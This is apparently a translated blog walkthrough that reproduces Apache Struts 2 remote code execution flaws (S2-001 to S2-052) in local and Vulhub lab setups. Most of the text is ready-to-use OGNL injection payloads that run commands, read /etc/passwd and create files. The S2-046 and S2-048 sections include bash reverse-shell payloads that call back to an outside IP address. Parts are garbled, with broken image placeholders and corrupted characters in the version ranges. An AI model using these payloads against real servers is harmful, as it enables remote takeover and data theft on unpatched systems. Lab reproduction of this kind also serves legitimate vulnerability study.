1. Introduction to struts 2
Struts 2 is a Web application framework based on MVC design pattern. It is essentially equivalent to a servlet. In MVC design pattern, struts 2 acts as a controller to establish the data interaction between model and view. Struts 2 is the next generation product of struts. It is a new struts 2 framework based on the technology of Struts 1 and WebWork. The architecture of its new struts 2 is very different from that of Struts 1. Struts 2 takes WebWork as the core and uses the interceptor mechanism to process user requests. This design also enables the business logic controller to be completely separated from the Servlet API. Therefore, struts 2 can be understood as an updated product of WebWork. Although there are great changes from Struts 1 to struts 2, struts 2 has little change compared with WebWork.
2. Download struts 2
Download link of each version:
http://archive.apache.org/dist/struts/binaries/
Download environment: Windows7 x64 (java environment is required)
After installing jdk, install tomcat. The next step is OK by default
Here, upload two war packages to the root directory of the website
Run tomcat8 in the bin directory
Two war packages can be deployed (the war package uploaded during startup can be deployed automatically)
Remote access succeeded
3. Loophole recurrence (local)
3.1 S2-057 Remote Code Execution Vulnerability
Capture this page
Verify whether the vulnerability exists, poc as follows:
/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ipconfig%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
3.2 S2-001 Remote Code Execution Vulnerability
Vulnerability principle:
The flaw is that when the user submits form data and the verification fails, the backend will parse the data previously submitted by the user using the OGNL expression% {value} and then refill it into the corresponding form data. For example, if the registration or login page fails to submit, the previously submitted data will be returned by default. Since the backend uses% {value} to perform an OGNL expression parsing on the submitted data, it can directly construct Payload for command execution.
Affected version:
Struts 2.0.0 - 2.0.8
Verify whether the vulnerability exists, enter
%{'zcc'}
This vulnerability exists when zcc is returned
Construct poc and fill in the password box:
Poc obtain tomcat route: %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
4.Vulhub vulnerability recurrence
4.1 S2-001 Remote Code Execution Vulnerability
Open struts2-001 vulnerability
Verify that it is on
Verify the presence of
Get tomcat path
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
Get the real path of the website
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
Execute command
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
4.2 S2-005 Remote Code Execution Vulnerability
Vulnerability principle
The origin of the s2-005 vulnerability stems from s2-003 (version affected: lower than struts 2.0.12). Struts 2 parses each parameter name of http into ODNL statement execution (which can be understood as Java code). The OGNL expression accesses struts objects through # and the struts framework prevents security problems by filtering # characters. However, the security restrictions are bypassed through unicode encoding (\ u0023) or octal (\ 43). For the s2-003 vulnerability, the official fixes it by adding security configuration (prohibiting static method calls and class method execution, etc.), but the security configuration is bypassed, which leads to the vulnerability again, Attackers can use OGNL expression to open these two options. The repair method of s2-003 locks themselves, but inserts the key into the lock head.
Impact version
Struts 2.0.0-2.1.8.1
Bypass process
1. stay S2-003 in\u0023 Used to bypass struts2 Filter for# 2. stay S2-003 struts2 After adding safe mode (sandbox) 3. stay S2-005 In, use OGNL Expression turns off safe mode and bypasses it again
Vulnerability initiation
Build poc and create a success file in the tmp directory
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
After looking for the success file for a long time, I found that it was not in the tmp directory. Later, my sister yb reminded me that it was in the underlying directory of docker. It was my chicken.
Execute command
4.3 S2-007 Remote Code Execution Vulnerability
Vulnerability principle
age comes from user input. Passing a non integer to the id causes an error. struts will execute the user's input as an ongl expression, resulting in a vulnerability.
Impact version
2.0.0 - 2.2.3
Startup vulnerability
Access page
If you can't access it here, you can clean up the cache here and access it successfully
The operations of Google and Firefox are as follows
Verification vulnerability
Enter a non numeric type in the age field and click login. The value in the age box becomes 11 to prove that the vulnerability exists!
[the external chain image transfer fails. The source station may have an anti-theft chain mechanism. It is recommended to save the image and upload it directly (img-5tlqx5ir-1626014278332) (C: / users / ZCC / appdata / roaming / typora user images / image-20210708164156162. PNG)]
Find underlying directory information
poc
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27
[the external chain image transfer fails. The source station may have an anti-theft chain mechanism. It is recommended to save the image and upload it directly (img-hxzd4rti-1626014278333) (C: / users / ZCC / appdata / roaming / typora user images / image-20210708164839447. PNG)]
Enumerate ZCC Txt information
poc
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27cat%20/zcc/zcc.txt%27%29.getInputStream%28%29%29%29+%2B+%27
exp that can execute arbitrary code
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExe cution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29+%2B+%27
view log
4.4 S2-008 Remote Code Execution Vulnerability
Vulnerability description
S2-008 involves multiple vulnerabilities. The incorrect configuration of Cookie interceptor can cause the execution of OGNL expression. However, since most Web containers (such as Tomcat) have character restrictions on Cookie names, some key characters cannot be used, which makes this point more difficult. Another weak point is that after the devMode mode is enabled in the struts 2 application, there will be multiple debugging interfaces that can directly view the object information or execute commands. This situation is almost impossible in the production environment, so it becomes very weak.
Impact version
2.1.0 - 2.3.1
Open vulnerability
[the external chain image transfer fails. The source station may have an anti-theft chain mechanism. It is recommended to save the image and upload it directly (img-znsgftb-1626014278336) (C: / users / ZCC / appdata / roaming / typora / typora user images / image-20210708171138120. PNG)]
poc
/devmode.action?debug=command&expression=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=whoami
4.5 S2-009 Remote Code Execution Vulnerability
Vulnerability description
OGNL provides a wide range of functions such as expression evaluation. The vulnerability allows a malicious user to bypass all the built-in protections (regular expressions, reject method calls) of parametersintector, enabling the injection of malicious expressions in any exposed string variables for further evaluation.
Similar behavior has been addressed in S2-003 and S2-005, but it turns out that the fix only partially closes the vulnerability based on the inclusion of acceptable parameter names.
The regular expression in parametersintector matches top ['foo '] (0) as a valid expression, which is processed by OGNL as (top ['foo'] (0), and evaluates the value of the "foo" operation parameter as an OGNL expression. This allows a malicious user to put an arbitrary OGNL statement into any String variable exposed by the operation and evaluate it as an OGNL expression. Since the OGNL statement is in the HTTP parameters, an attacker can disable the method execution and execute arbitrary methods using blacklist characters (for example), bypassing the protection of parameterinterceptor and OGNL Library.
Impact version
Struts 2.1.0 - 2.3.1.1
Vulnerability initiation
Verify whether the vulnerability exists, poc-1
/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
Construct poc-2 and enumerate / etc/passwd
http://192.168.9.234:8080/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
Construct poc-3 and create user execution commands
http://192.168.9.234:8080/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boo%20lean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%22touch%20/tmp/dayu009%22).ge%20tInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%2%203kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27m%20eh%27)]
Poc-4
z[%28name%29%28%27meh%27%29]&age=12313&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#s=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#s.println(#d),#s.close())(meh)
4.6 S2-012 Remote Code Execution Vulnerability
Vulnerability principle
If the redirection type is used when configuring the Result in the Action, and ${param_name} is also used as the redirection variable
xml <package name="S2-012" extends="struts-default"> <action name="user" class="com.demo.action.UserAction"> <result name="redirect" type="redirect">/index.jsp?name=${name}</result> <result name="input">/index.jsp</result> <result name="success">/index.jsp</result> </action> </package>
Here, a name variable is defined in UserAction. When the redirect type return is triggered, struts 2 obtains its value using ${name}. In this process, the OGNL expression will be parsed for the value of the name parameter, so that any OGNL expression can be inserted to cause the command to execute.
Impact version
2.1.0 - 2.3.13
Startup vulnerability
poc-1
%25%7B%23a%3D(new java.lang.ProcessBuilder(new java.lang.String%5B%5D%7B%22%2Fbin%2Fbash%22%2C%22-c%22%2C %22ls%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew java.io.InputStreamReader(%23b)%2C%23d%3Dnew java.io.BufferedReader(%23c)%2C%23e%3Dnew char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D
[the external chain image transfer fails. The source station may have an anti-theft chain mechanism. It is recommended to save the image and upload it directly (img-ka1u3cjr-1626014278341) (C: / users / ZCC / appdata / roaming / typora / typora user images / image-20210709103244127. PNG)]
url encoding is required, otherwise 500
poc2
%25%7B%23a%3D(new java.lang.ProcessBuilder(new java.lang.String%5B%5D%7B%22cat%22%2C %22%2Fetc%2Fpasswd%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew java.io.InputStreamReader(%23b)%2C%23d%3Dnew java.io.BufferedReader(%23c)%2C%23e%3Dnew char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D
4.7 S2-013 Remote Code Execution Vulnerability
Vulnerability principle
Both < s: a > and < s: URL > in the tag of struts 2 have an includeParams attribute, which can be set to the following values
-
None - the URL does not contain any parameters (default)
-
GET - contains only GET parameters in the URL
-
all - include GET and POST parameters in the URL
When includeParams=all, the GET and POST parameters of this request will be placed on the GET parameter of the URL.
When < s: a > or < s: URL > attempts to parse the original request parameters, the OGNL expression will be executed
Impact version
2.0.0 - 2.3.14
Startup vulnerability
poc-1
http://192.168.9.234:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
http://192.168.9.234:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27ls%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
4.8 S2-015 Remote Code Execution Vulnerability
Vulnerability principle
Apache Struts 2 is an open source Web application framework for developing Java EE Web applications. A remote command execution vulnerability exists in Apache struts versions 2.0.0 through 2.3.14.2. Remote attackers can exploit this vulnerability to execute arbitrary OGNL code via requests with '${}' and '% {}' sequence values, which can lead to the judgment of OGNL code twice.
Impact version
Struts 2.0.0 - 2.3.14.2
Startup vulnerability
Verify whether the vulnerability exists poc-1 (here it is url encoded)
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream())%2C%23q%7D.action
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredFiel d%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.comm ons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action
4.9 S2-016 Remote Code Execution Vulnerability
Vulnerability principle
In struts 2, the DefaultActionMapper class supports "action:", "redirect:", "redirectAction:" "as navigation or redirection prefixes, but these prefixes can be followed by OGNL expressions. Because struts 2 does not filter these prefixes, it uses OGNL expressions to call java static methods to execute arbitrary system commands.
Impact version
Struts 2.0.0 – 2.3.15
Startup vulnerability
Verify that the vulnerability exists - poc-1
http://192.168.9.234:8080/index.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D
poc-2
http://192.168.9.234:8080/index.action?redirect:%24%7B%23req%3D%23context.get(%27co%27%2B%27m.open%27%2B%27symphony.xwo%27%2B%27rk2.disp%27%2B%27atcher.HttpSer%27%2B%27vletReq%27%2B%27uest%27)%2C%23resp%3D%23context.get(%27co%27%2B%27m.open%27%2B%27symphony.xwo%27%2B%27rk2.disp%27%2B%27atcher.HttpSer%27%2B%27vletRes%27%2B%27ponse%27)%2C%23resp.setCharacterEncoding(%27UTF-8%27)%2C%23ot%3D%23resp.getWriter ()%2C%23ot.print(%27web%27)%2C%23ot.print(%27path%3A%27)%2C%23ot.print(%23req.getSession().getServletContext().getRealPath(%27%2F%27))%2C%23ot.flush()%2C%23ot.close()%7D
4.10 S2-019 Remote Code Execution Vulnerability
Vulnerability principle
The developer mode is required, and the first parameter of poc is debug. The trigger point is on DebuggingInterceptor. Check the intercept function to obtain the debugging mode from the debug parameter. If the mode is command, put the expression parameter into stack Findvalue is finally placed in ognl In getValue.
Impact version
Struts 2.0.0 - 2.3.15.1
Startup vulnerability
Verify that the vulnerability exists poc
?debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b) ,#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRe sponse'),#out.getWriter().println('dbapp:'+new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()
After url encoding
?%64%65%62%75%67=%63%6f%6d%6d%61%6e%64&%65%78%70%72%65%73%73%69%6f%6e=%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%27%69%64%27%29%29%2e%73%74%61%72%74%28%29%2c%23%62=%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63=%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65=%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%6f%75%74=%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%27%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%27%64%62%61%70%70%3a%27%2b%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%23%65%29%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29
4.11 S2-029 Remote Code Execution Vulnerability
Vulnerability principle
The tag library of struts 2 uses OGNL expressions to access object data in ActionContext. In order to access the variables in the ActionContext, struts 2 sets the ActionContext as the context of OGNL and adds the following objects of OGNL to the ActionContext.
In struts 2, the following tags call OGNL to get values
<p>parameters: <s:property value="#parameters.msg" /></p>
Struts 2 will parse the value in value and execute it as an OGNL expression to obtain the msg attribute of the parameters object. S2-029 still relies on OGNL for remote code execution.
Impact version
Struts 2.0.0 - 2.3.24.1ҁӧ۱ೡ2.3.20.3
Startup vulnerability
[the external chain image transfer fails. The source station may have an anti-theft chain mechanism. It is recommended to save the image and upload it directly (img-fktvclmq-1626014278348) (C: / users / ZCC / appdata / roaming / typora / typora user images / image-20210711142822657. PNG)]
poc
http://192.168.0.109:8889/default.action?message=(%23_memberAccess[%27allowPrivateAccess%27]=true,%23_memberAccess[%27allowProtectedAccess%27]=true,%23_memberAccess[%27excludedPackageNamePatterns%27]=%23_memberAccess[%27acceptProperties%27],%23_memberAccess[%27excludedClasses%27]=%23_memberAccess[%27acceptProperties%27],%23_memberAccess[%27allowPackageProtectedAccess%27]=true,%23_memberAccess[%27allowStaticMethodAccess%27]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream()))
4.12 S2-032 Remote Code Execution Vulnerability
Vulnerability principle
When dynamic method calls are enabled, malicious expressions that can be used to execute arbitrary code on the server side can be passed. Method: the action prefix is used to call the function declared as public, but Strtus2 will not perform OGNL calculation on the name method value in the low version, but in the high version.
Impact version
Struts 2.3.20-Struts Struts 2.3.28(2.3.20.3 And 2.3.24.3 except)
Startup vulnerability
poc-1
http://192.168.0.109:8080/memoindex.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter().print(%23parameters.content[0]%2b602%2b53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10010
If 1001060253718 is returned, it means that the code can be executed!
poc-2 (view id)
http://192.168.0.109:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
poc-3 (create folder)
http://192.168.0.109:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=touch%20/tmp/zcc
4.13 S2-045 Remote Code Execution Vulnerability
Vulnerability principle
When using the file upload function based on Jakarta plug-in, there may be remote command execution. Malicious users can trigger this vulnerability by modifying the Content Type value in the HTTP request header when uploading files, and then execute system commands.
Impact version
Struts2.3.5 – 2.3.31 Struts2.5 – 2.5.10
Startup vulnerability
poc-1
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(100*5000)).(#ros.flush())}
poc-2
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',11*11)}.multipart/form-data
4.14 S2-046 Remote Code Execution Vulnerability
Vulnerability principle
The attacker triggers an exception and causes the OGNL expression of the filename field to be executed by setting the filename field of content disposition or setting the content length to exceed 2G, so as to achieve the purpose of remote attack. The cause of this vulnerability is the same as that of 045 vulnerability, except that the field of vulnerability exploitation has changed.
Like 045, 046 is also an OGNL injection, but it appears in the file name field of the upload request, and NUL bytes are required to split the payload and other strings.
Impact version
Struts 2.3.5-Struts 2.3.31҅Struts 2.5-Struts 2.5.10
Startup vulnerability
poc-1, fill in filename = ""
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+99)}\x00b
Find the character before b and truncate it
You can see that the formula in POC is executed successfully.
poc-2, rebound shell, also needs 00 truncation.
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.173.133/9899 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"
4.15 S2-048 Remote Code Execution Vulnerability
Vulnerability principle
Apache Struts2 2.3. The X series enables the struts 2-struts 1-plugin plug-in and has the struts 2-showcase directory. The vulnerability is caused by the execution of arbitrary code due to improper processing after subsequent data splicing and transmission when ActionMessage receives customer controllable parameter data.
Impact version
Apache Struts 2.3.xᔮڜӾސአԧstruts2-struts1-pluginൊկጱᇇ
Startup vulnerability
poc-1
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
poc-2 rebound shell
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.173.133/8888 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"
4.16 S2-052 Remote Code Execution Vulnerability
Vulnerability principle
There is a deserialization vulnerability in the XStream component of the struts 2 rest plug-in. When using the XStream component to deserialize a data packet in XML format, the data content is not effectively verified and can be remotely attacked.
Impact version
Struts 2.1.2 - Struts 2.3.33 Struts 2.5 - Struts 2.5.12
Startup vulnerability
poc-1
